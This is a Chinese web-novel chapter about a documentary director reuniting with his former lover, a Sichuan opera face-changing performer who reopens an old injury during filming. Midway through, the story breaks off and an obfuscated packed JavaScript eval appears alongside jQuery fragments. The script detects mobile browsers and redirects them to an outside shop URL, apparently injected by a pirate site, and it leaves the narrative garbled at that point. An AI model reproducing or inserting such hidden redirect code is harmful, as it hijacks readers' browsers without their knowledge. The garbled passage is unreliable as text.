晚秋的清晨总是带着潮湿的雾气，像一层永远揭不开的纱，笼在青瓦灰墙的老城区上空。


    陈声和站在川剧院门口，对着晨雾中的川剧院飞檐拍了一张，取景框里却总是情不自禁的寻找着那个熟悉的身影。


    “导演，您要不要先喝点热的？”林瑶从身后递来一杯热美式，她跺了跺脚，“今早这天儿可真够冷的。”


    陈声和接过咖啡，低声道了句谢。热度透过纸杯传到掌心，却怎么也暖不进心里。他抿了一口，苦涩的液体滑过喉咙，和这些年积压的情绪混在一起。


    “李老师他们已经在练功房了。说是7点开始早功，现在……”林瑶看了眼手机，“六点五十了。”


    陈声和点点头，目光落在川剧院斑驳的木门上。


    这段时间他几乎没睡过一个安稳觉。每次闭上眼睛，不是梦见五年前的分别，就是梦见李霄川在舞台上转身离去的背影。


    不，应该说，从接到这部关于川剧传承的纪录片开始，他就知道会是这样。


    成都的每一条街巷，每一处景致，都在提醒着他那些刻意遗忘的过往。就像对李霄川，他既渴望见到他，又希望就这样相忘于世界。


    “喵～”


    一声细细的猫叫让陈声和下意识回过头。门口石阶上蹲着只小橘猫，正歪着脑袋，怯生生地望着他。


    “哎呀～小咪咪～”林瑶的心瞬间化了，赶紧蹲下身，从包里翻出火腿肠，利落地剥开递过去，“导演，这是剧院里那只大橘前两天刚生的崽。”


    陈声和望着那只巴掌大的小奶猫，恍惚间好像又回到了大学时代。


    那时他想养猫，可租的房子房东不让养宠物，于是李霄川一有空就拉着他去猫猫庙，一待就是一下午。


    咖啡的苦味忽然在舌尖漫开，他猛地别开脸，深吸一口气，推开了川剧院那扇厚重的木门。


    熟悉的松木香和淡淡的胭脂味芬芳袭来，让他有一瞬间的错觉。


    这里的一切比五年前更熟悉，转角处的青砖缺了一角，楼梯扶手上的划痕多了几道，却让他更不敢面对。


    “陈导，设备都调试好了。”灯光负责人抱着反光板走过来，鼻尖冻得发红，“李老师说让我们直接去三号练功房。”


    陈声和喉结滚动了一下。三号练功房，那是李霄川的专属练功房，当年他常常在那里一待就是一整天。


    自从重逢到现在，他们始终保持着客套的工作关系，而今天，他却要带着摄像机闯入那个曾经只对他敞开的私人领域。


    练功房的门半掩着，还未走近就听见里面传来有节奏的咚咚声，是脚掌拍打地面的声音，还夹杂着偶尔的深呼吸。


    陈声和抬手示意团队停下，轻轻推开门缝。


    李霄川只穿着白色水衣，脸上的简妆已经画好了，此刻正在檀木把杆上压腿。他的右腿高高架在把杆顶端，脚背绷直，左手却以极其柔软的姿势勾着脚掌。


    水衣随着动作滑落，露出腰间一道狰狞的疤痕，像条蜈蚣盘踞在麦色皮肤上。


    陈声和不论何时看到他身上的伤疤，心脏都会猛地揪紧。


    大二时李霄川为全国青年戏曲大赛，每天都在苦练倒挂金钩变脸，这个伤痕，也是那时候摔伤的。


    他记得那天练功房里闷沉的撞击声，记得自己冲进去时看到的场景，李霄川躺在地上，血从腰部汩汩流出，染红了练功垫。


    那时他们刚在一起没多久，他攥着病历单只敢躲在没人的地方偷偷掉眼泪，却不敢告诉姑姑他受伤了。


    “要拍到什么时候？”


    李霄川的声音突然响起，陈声和这才发现对方早已透过门缝的镜子发现了他们。


    他尴尬地推门而入，却见李霄川已经利落地收腿，水衣袖子一抖就遮住了那道伤疤，动作快得仿佛刚才的脆弱从未存在过。


    “现在开始可以吗？”陈声和示意摄像开机，声音比想象中干涩。他清了清嗓子，“我们需要拍你个人基本功训练的素材备用。”


    李霄川没答话，转身时水衣下摆扬起。他径直走到兵器架前，手指在十八般兵器上方逡巡，最后抽出一杆银枪。


    枪身在他掌中转了个漂亮的回旋，枪尖划破空气发出一声啸叫。他一个鹞子翻身，枪杆啪地砸在地面，震得地板嗡嗡作响。


    这一式是川剧武生入门必学的“二十四路枪法”起手式。


    “这是探海式。”李霄川的声音带着练功时气息声，枪尖忽地指向镜头后的陈声和，“陈导应该不了解吧？”


    他的尾音微微上扬，像枪尖一样刺人。


    陈声和握紧了取景器，指腹感受到金属的冰凉。


    关于李霄川的每一件事情，他都记得，并且非常清楚。


    大二那年李霄川手把手教他这套枪法，他总记不住转腕的力道，枪杆不是脱手就是转得太慢。


    每次练习到最后，总是以他被枪杆绊倒，跌进对方怀里收场。李霄川身上的松木香和汗水混合的味道，他至今都记得。


    而重逢后的每一天，李霄川都在帮他回忆过去。


    “能不能展示变脸？”老张刚问出口就被陈声和打断，“先拍基本功。”


    李霄川嘴角一挑，手中银枪忽地抛向半空。枪身飞旋间他已纵身跃起，衣摆翻飞，真像只展翅的白鹤。


    在最高点接住枪尖的同时，脸上赫然已多了张关公脸谱。红脸黑须，丹凤眼凛然生威。


    “这是抛枪变脸。”他的声音透过脸谱传来，“川剧变脸三十六式里最难的一种。”


    他手腕轻抖，长枪“唰”地飞回兵器架，分毫不差地正中孔槽。


    四周顿时炸开掌声，夹杂着“怎么变的啊？”，“我去，刚才那下太神了！”的惊呼。


    陈声和知道这是挑衅。


    李霄川很清楚他最爱拍的就是变脸前的准备过程：勾脸时的虔诚，系披风时的庄重，那些面具之下的真实瞬间。


    而现在，对方直接跳过了所有前戏，就像在说：你不是要走吗？那就只看结果好了。


    “李老师能分解动作吗？我们需要特写。”陈声和尽量让声音平稳，但他的喉结还是不受控制地滚动着，出卖了自己。


    李霄川抬手摘下面具，露出被淡妆覆盖的真容。他用小指蘸了蘸茶碗里的清水，轻轻润开额角的胭脂。


    陈声和的手指在镜头焦距环上抠紧。


    “陈导现在喜欢直给的了？”李霄川抬眼看他，手指还沾着一点胭脂红。


    练功房里的空气忽地凝固。剧组新来的场记不明就里地偷笑，被林瑶狠狠瞪了一眼。


    陈声和假装调整焦距，他离开时说过最重的话就是：“李霄川，你太咄咄逼人了”。


    现在对方正在用行动证明这句话。


    “从勾脸开始拍吧。”陈声和最终妥协道。


    李霄川转身出去了，道具组迅速抬来一个化妆台摆好，等他再次进来时，脸上的简妆已经卸掉了，头发上还带着一些水珠。


    走到化妆台前坐下，李霄川拿起勾脸笔的姿势像拿着一把箭似的。


    陈声和不由自主地凑近，镜头对准他手腕的转动。


    这个距离能清楚地看到李霄川小指上的茧。笔尖蘸取朱砂时要顺时针搅三圈，这是川剧老艺人传下的规矩，当年李霄川说这叫“三生万物”。


    “川剧脸谱有红忠白奸之说。”李霄川淡漠地开口，笔尖在眉弓处拉出一道飞扬的红色，“关公的丹凤眼要一笔成型，就像……”


    他的笔锋一顿，朱砂在眉心聚成一颗红痣：“就像某些事，断了就续不上了。”


    陈声和的手抖了一下。


    取景器里李霄川的眼睛在红妆衬托下黑得惊人，让他想起那段糟糕的时间里，对方也是这样勾着关公脸，在后台堵住他说：“陈声和，你敢走我就用这面目记你一辈子。”


    那天脸上的油彩被卸妆水冲花，关公的丹凤眼变成了一道血红的泪痕。


    “接下来是倒挂金钩变脸。”李霄川说着起身扯掉水衣，露出绑满护具的上身。


    他的动作太突然，摄影师差点没跟上焦。镜头推进时，陈声和这才注意到他左肩的护具分外厚重，边缘还透着淡黄色药渍。


    没等团队准备好，李霄川已经跃上特制的高架。他倒悬时肌肉绷出锋利的线条，腰间那道疤完全暴露在镜头前，像一条永远无法愈合的裂缝。


    陈声和却突然喊了停：“护具松了。”


    他的声音绷得发紧，目光死死锁在李霄川左肩那块摇摇欲坠的护具上


    李霄川充耳不闻，猛地甩头变出第一张脸谱，黑底金纹的包拯，额间月牙在练功房的顶灯下刺的陈声和眼睛生痛。


    他记得这是李霄川最拿手的角色，那时候他们总开玩笑说“以后吵架我就变包公审你”，没想到一语成谶了。


    “第十八个了！”林瑶小声数着，声音里带着惊叹。


    不仅仅是他，合作一个多月，剧组从开始的不鸟你，变成了真心实意的一句“李老师这人没的说”。


    倒挂状态下的连续变脸极其消耗体力，李霄川的呼吸已经变得粗重，汗水顺着下巴滴在护具上，洇出一片深色痕迹。


    陈声和盯着监视器，发现他每次甩头时左肩都会不自然地抽搐，那个旧伤位置随着动作被牵扯着。


    “可以了，今天就到这里。”陈声和在对讲机里说。


    李霄川却仿佛没听到，继续变出第二十张脸谱，这是罕见的白蛇造型。雪白的底色上蜿蜒着青鳞纹路，本该柔美的蛇精面容在他倒悬的脸上显出几分狰狞。


    陈声和心头猛地一跳，手比大脑快，迅速将镜头推近。


    这是《白蛇传》里白素贞盗仙草时的怒相，当年他们一起排这出戏时，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005877|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    李霄川总说：“白娘子发怒不是恨许仙负心，是恨天道不公。”


    就在他完成最后一个甩头动作时，护具缝隙突然渗出一道鲜红，血珠子直接飞出来溅在木地板上。


    “停！”陈声和几乎是扑过去的，一把接住那个往下坠的人。


    李霄川整个人的重量撞得他往后踉跄了好几步，后腰“哐”一声狠狠磕在檀木把杆上。尖锐的疼顺着脊椎蹿上来，他咬咬牙没出声。


    那熟悉的血腥味与跌打药的气味一下子冲进鼻腔，像被什么东西猛地拽回了大二那年。


    李霄川第一次肩伤复发，也是这样滚烫地倒在他怀里，汗跟血混在一起，在地板上淌得到处都是。


    现场顿时乱成一锅粥。场务手忙脚乱地翻医药箱，摄影师差点带倒三脚架。


    可陈声和却异常冷静。他一只手迅速扯开李霄川水衣的系带，动作熟练得像做过几百遍。


    布料滑下来，露出肩膀上那片血肉模糊。旧伤又撕裂了，伤口边缘还粘着几片碎脸谱，像被硬生生扯下来的面具。


    “医药箱！”他吼了一嗓子，同时从林瑶递来的包里掏出个小铁盒。


    那是个老旧的万金油盒子，边角都磨得发亮。


    林瑶拿着纱布愣在那：“导演您还随身带药膏啊？”


    陈声和没接话，只是用手指挖出一坨青绿色的药膏，轻轻抹在伤口上。


    这是潮汕那边特制的青草跌打膏。


    大学那会儿李霄川总说这玩意儿臭得像螺蛳粉，但效果特好，每次练功受伤就死缠着要他帮忙抹。


    药膏碰到伤口的那一刻，李霄川全身肌肉猛地一紧。他转过那张沾满汗水和油彩的脸：“……谢了，陈导。”


    他的声音因为疼痛有些哑了，嘴角却挂着点笑，或许在这一刻，李霄川心里觉得是值得的。


    陈声和低头缠绷带，语气平淡：“导演组常备的跌打药。”


    他撒谎的时候睫毛会轻轻抖，这点李霄川比谁都清楚，倒也没拆穿。


    绷带一圈圈绕上肩膀，李霄川却忽然轻声问：“那这道疤……你还记得怎么来的吗？”


    旁边的林瑶识趣地走开了，老张也招呼大家休息。


    陈声和缠绷带的手指一顿，差点扯到伤口。


    他怎么会忘。


    那天李霄川刚收到省剧团破格录取的通知，俩人也在闹别扭，他突然接到父亲心梗的电话，转身就赶回了潮州。


    等他三天后回来，才知道李霄川在练功房自虐式地练了整整三天倒挂变脸，最后从高架上摔下来，被枪尖划出了这道口子。


    “不记得了。”陈声和剪断绷带，起身时却被拽住袖口。


    李霄川的手指上还沾着油彩，在他浅色衬衫袖口留下道红痕。


    还没等他开口，一位助理拿着手机进来，对着陈声和晃了晃，用潮汕话喊道：“陈导，您母亲电话！”


    陈声和像被热油烫到一样，猛地抽回手，转身时他听见李霄川很轻的笑声，接着是撕开绷带的刺啦声。


    走到门口他忍不住回头，正看见李霄川将染血的纱布扔进垃圾桶，脸上的淡妆油彩被汗水晕开，像在流泪。


    “明天拍文戏。”陈声和最终只丢下这句话转身走了。


    ……


    剧组收工离开后，练功房里最后只剩下李霄川一个人对着镜子卸妆。


    化妆台上散落着剥落的白蛇脸谱碎片，一片一片的，跟蛇蜕的皮似的。


    他肩膀上新缠的绷带已经渗出血迹，青草膏掺着血腥味，直往鼻子里钻，闷得人难受。


    窗外传来器材箱轮子咕噜咕噜碾过石板路的声音，陈声和他们团队的脚步声也越走越远。


    他盯着镜子里那张被油彩和汗水糊得乱七八糟的脸，突然一把抓起卸妆油瓶子，哗啦一下倒了一手。


    液体流得满手都是，多余的顺着额头淌进眼睛里，刺得他眼睛生疼，那灼烧感一直从眼球蔓延到太阳穴。


    他觉得眼眶发烫，但不知道为什么，大概是这卸妆油化学成分太高，太刺激了吧。


    镜子里的影像开始扭曲变形，油彩化开的那一瞬间，他好像又看见了五年前机场那个安检口。


    陈声和的背影在人群里显得特别单薄，那道安检门在他眼里慢慢变形，最后变成了川剧《奈何桥》里的鬼门关。


    ——跨过去的人，就再也回不来了。


    他手里攥着那张一直没用的潮汕机票，手指捏得发白，就这么一直看着陈声和的背影彻底消失在转角。


    整整五年了……那个始终没有回头的背影，成了他梦里最常出现的画面。


    生理性泪水冲开脸上没卸干净的油彩，在脸颊上划出两道清晰的痕。


    这种灼烧的痛感，和当年在机场硬生生把眼泪憋回去时，那发热发胀的感觉……在这一刻，居然离奇地重合在了一起。